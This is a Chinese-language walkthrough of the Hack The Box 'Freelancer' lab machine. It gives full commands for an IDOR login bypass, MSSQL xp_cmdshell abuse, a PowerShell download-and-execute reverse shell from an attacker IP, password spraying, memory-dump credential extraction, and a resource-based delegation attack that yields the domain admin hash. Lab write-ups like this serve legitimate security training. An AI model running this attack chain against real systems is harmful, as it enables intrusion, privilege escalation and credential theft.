端口扫描
80 88 389 445
扫描ldap协议相关漏洞,没有发现
扫描子域名,加入/etc/hosts(后面发现没用)
枚举域用户
目录扫描,发现一个/admin
目录
访问后发现要账号密码
访问80端口,注册一个freelancer
用户
查看Blog,底部评论区可看见有用户
点击用户查看,发现修改url中的数字可以查看不同用户
当url为http://freelancer.htb/accounts/profile/visit/2/
时,为admin用户的个人信息
到处看都没其他发现,回头注册一个employer account
找一下哪里可以激活账户
重新进行目录扫描,这次直接扫描/accounts目录,发现一个/accounts/recovery/目录
输入注册时填的信息,提交后就可以通过认证了
功能和Freelancer用户大差不差
看个人信息配置,发现一个二维码,提示扫码后可以直接登录账户
扫一下,扫出来一个url
url后面那截很耐人寻味,MTAwMTA=
,=结尾看上去就像base64
果不其然,解码后发现是一个用户编号
想起来刚刚看见admin用户的编号是2,将2进行base64编码,修改url信息
后面是随机序列,只有五分钟有效期
http://freelancer.htb/accounts/login/otp/Mg==/xxxxxxxxxxxxxxxxxxxxxxxx/
访问url,成功切换到admin用户,这里存在IDOR越权漏洞
重新访问刚刚需要密码登录的/admin/
目录,直接就进来了
底下有个sql terminal
,可以执行sql命令
尝试使用xp_cmdshell
,权限拒绝
查看数据库所有者,sqlServer一般是sa
SELECT suser_sname(owner_sid) FROM sys.databases
查看数据库用户,现在的用户大概是guest或者最底下那个Freelancer_webapp_user
EXECUTE AS LOGIN = 'sa'
SELECT name FROM sys.database_principals WHERE type_desc IN ('SQL_USER', 'WINDOWS_USER', 'WINDOWS_GROUP');
查看sa是否为数据库管理员(有执行命令权限)
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin');
使用sa权限为Freelancer_webapp_user用户授予sysadmin权限
EXECUTE AS LOGIN = 'sa'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user','sysadmin';
查看当前用户是否为sysadmin权限
SELECT IS_SRVROLEMEMBER('sysadmin');
启用xp_cmdshell
EXEC sp_configure 'show advanced options', '1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1' ;
RECONFIGURE;
可以执行cmd命令了
反弹shell(gitHub上找了一个最新的)添加链接描述
EXECUTE xp_cmdshell ‘powershell -c iex(iwr -usebasicparsing http://10.10.14.50:8899/shel1.ps1)’
查看用户列表
在C:\users\sql_sve\Downloads\SqLEXPR-2019_x64_ENU
目录下发现一个configuration文件
IL0v3ErenY3ager
t3mp0r@ryS@PWD
将两个密码弄出来做字典
再把刚刚的用户列表也弄下来
Administrator
lkazanof
lorra199
mikasaAckerman
MSSQLSERVER
sqlbackupoperator
sql_svc
使用crackmapexec进行密码喷洒
crackmapexec smb 10.10.11.5 -u user.txt -p pass.txt --sam
mikasaAckerman/IL0v3ErenY3ager
上传RunasCs,登录
curl http://10.10.14.50:8899/RunasCs.exe -o RunasCs.exe
./RunasCs.exe mikasaAckerman IL0v3ErenY3ager powershell -r 10.10.14.50:2222
成功切换到mikasaAckerman
用户
找user.txt的时候发现目录底下有两个特殊文件
mail.txt中重点是给了一个dump文件,大概就是目录里的MEMORY.7z
目标机器上有python,直接开启一个http服务,将MEMORY.7z下载到本地
下载速度有点小慢
解压后是一个dmp文件
使用memprocfs
将dmp中虚拟文件系统挂载到本机的物理内存,可以查看文件目录
./memprocfs -device MEMORY.DMP -mount /mnt
该目录底下是windows注册表配置单元,使用secretsdump可以从注册表中提取密码
将system,security,sam
几个文件搂下来
改一下名字
mv 0xffffd3067d935000-SAM-MACHINE_SAM.reghive sam
mv 0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive system
mv 0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive security
使用secretsdump解密密码
impacket-secretsdump -sam sam -system system -security security local
PWN3D#l0rr@Armessa199
继续进行喷洒
crackmapexec smb 10.10.11.5 -u user.txt -P PWN3D#l0rr@Armessa199
得到新用户凭据
lorra199:PWN3D#l0rr@Armessa199
机器开放了5985端口,可以远程登录
evil-winrm -i 10.10.11.5 -u "lorra199" -p "PWN3D#l0rr@Armessa199"
同步时间
ntpdate -q freelancer.htb
使用bloodhound探测域内环境
faketime -f +5h bloodhound-python -c ALL -u lorra199 -p 'PWN3D#l0rr@Armessa199' -d freelancer.htb -ns 10.10.11.5
发现lorra199用户位于AD RECYCLE BIN
组内,该组对dc有GenericWrite
权限
同时lorra199用户可以添加机器用户,可以通过修改dc的msDS-AllowedToActOnBehalfOfOtherIdentity属性进行基于资源的约束性委派攻击
添加机器用户
impacket-addcomputer -computer-name 'cccc$' -computer-pass '123456cc!' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199'
使用impacket的rbcd模块进行攻击,修改DC$的msDS-AllowedToActOnBehalfOfOtherIdentity属性指向cccc$
impacket-rbcd -delegate-from 'cccc$' -delegate-to 'DC$' -dc-ip 10.10.11.5 -action 'write' 'freelancer.htb/lorra199:PWN3D#l0rr@Armessa199'
getST模块获取到administrator的cifs/dc.freelancer.htb
的ST
faketime -f +5h impacket-getST -spn 'cifs/dc.freelancer.htb' -impersonate Administrator -dc-ip 10.10.11.5 freelancer.htb/cccc$:'123456cc!'
将票据导入内存
export KRB5CCNAME=Administrator@cifs_dc.freelancer.htb@FREELANCER.HTB.ccache
secretsdump提取administrator密码
faketime -f +5h impacket-secretsdump 'freelancer.htb/Administrator@DC.freelancer.htb' -k -no-pass -dc-ip 10.10.11.5 -target-ip 10.10.11.5 -just-dc-ntlm
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0039318f1e8274633445bce32ad1a290
:::
使用evil-winrm登录
evil-winrm -i freelancer.htb -u administrator -H '0039318f1e8274633445bce32ad1a290'